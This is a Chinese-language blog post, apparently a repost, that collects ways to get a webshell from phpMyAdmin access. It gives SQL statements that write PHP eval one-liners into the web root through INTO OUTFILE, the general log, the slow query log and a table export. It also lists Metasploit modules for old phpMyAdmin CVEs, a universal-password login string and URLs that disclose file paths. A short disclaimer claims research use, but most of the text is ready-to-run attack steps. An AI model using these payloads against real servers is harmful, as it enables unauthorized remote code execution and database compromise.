phpmyadmin getshell


所有文章,仅供安全研究与学习之用,后果自负!

前言

phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库。

虽然网上有很多公开的文章,也用过很多次了,但自己再总结一遍方便自己查阅。

一、into outfile写马

条件

1.对web目录需要有写权限能够使用单引号
2.secure_file_priv 不为null  具体描述在下边。
3.要知道网站的绝对路径,写入马才能连接。


mysql   into写入文件:使用需看要secure_file_priv的值。
	value为“null”时,不允许读取任意文件
	value为其余路径时,表示该路径可以读写文件
	value为“空”时,允许读取任意文件

利用方法

先根据各种信息收集 判断或猜测出网站的绝对路径

比如 如果是 phpstudy启动的 根据 mysql 安装路径 就可以猜出网站的位置

如果是 linux 一般位于 /var/www/html

select @@basedir;  查找mysql安装路径

show global variables like '%secure_file_priv%';
NULL    不允许导入或导出
/tmp    只允许在 /tmp 目录导入导出
空      不限制目录
	如果有权限
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/var/www/html/shell.php'

操作

根据 下图 得知 是linux 系统 猜测网站位置在 /var/ww/html
在这里插入图片描述

查看可不可以写文件

在这里插入图片描述
将shell.php的马写在网站pma/目录下 在这里插入图片描述

蚁剑连接成功

在这里插入图片描述

二、开启日志写马getshell

条件

用于 secur_file_priv 为null 或限定值 不在网页目录时

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

general_log:日志保存状态
general_log_file:日志保存路径

利用方法

SHOW VARIABLES LIKE 'general%';  # 查看general_log 是否开启
set global general_log = "ON";      # 开启
set global general_log_file='F:/phpStudy/WWW/shell.php';
select '<?php eval($_POST["pwd"]);?>'

执行完毕后 直接用蚁剑连接

操作

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
均执行成功
在这里插入图片描述

三、慢查询webshell

利用方法

show variables like '%slow%'
set global slow_query_log=on;
set global slow_query_log_file='/var/www/html/pma/slow.php'
select '<?php phpinfo();?>' or sleep(10);

操作

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

不知道为什么 被拒绝访问
在这里插入图片描述

四、创建数据库和表写入webshell

条件

Root数据库用户(root权限);
网站绝对路径(确定有写入权限);
secure_file_priv没有具体值。

利用方法

建库
在这里插入图片描述
建表

在这里插入图片描述
建字段
在这里插入图片描述
插入数据 一句话木马

<?php eval($_POST[pwd]); ?>'

在这里插入图片描述
在这里插入图片描述

执行SQL查询,将该表中的内容导出到指定文件
物理路径为"/var/www/html/pma"

use test; 连接test数据库
select * from test_table into outfile "/var/www/html/pma/shell.php";

在这里插入图片描述
连接成功

在这里插入图片描述

最后删除该库
drop database test;
在这里插入图片描述

或者用命令也可以 执行

执行下面的sql语句,创建表并在表中写入一句话木马,在导出到网站的根路径。

CREATE TABLE test( id text(500) not null);    

INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    

SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php';    

DROP TABLE IF EXISTS test;

特殊版本getshell

CVE-2013-3238

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159

影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行

影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config
Top
弱口令&万能密码
弱口令:版本phpmyadmin2.11.9.2,直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,
用户名

'localhost'@'@"

则登录成功

phpMyAdmin暴路径办法:

phpMyAdmin/libraries/select_lang.lib.php

phpMyAdmin/darkblue_orange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php

例如: 2.11.3 版本

http://192.168.157.156/phpmyadmin/themes/darkblue_orange/layout.inc.php

在这里插入图片描述

参考
https://www.cnblogs.com/sunny11/p/13581470.html#_label2

这篇文章 总结很全 可以参考

https://www.cnblogs.com/liliyuanshangcao/p/13815242.html?ivk_sa=1024320u
https://baijiahao.baidu.com/s?id=1714241661462813554&wfr=spider&for=pc

猜你喜欢

转载自blog.csdn.net/YouthBelief/article/details/121274154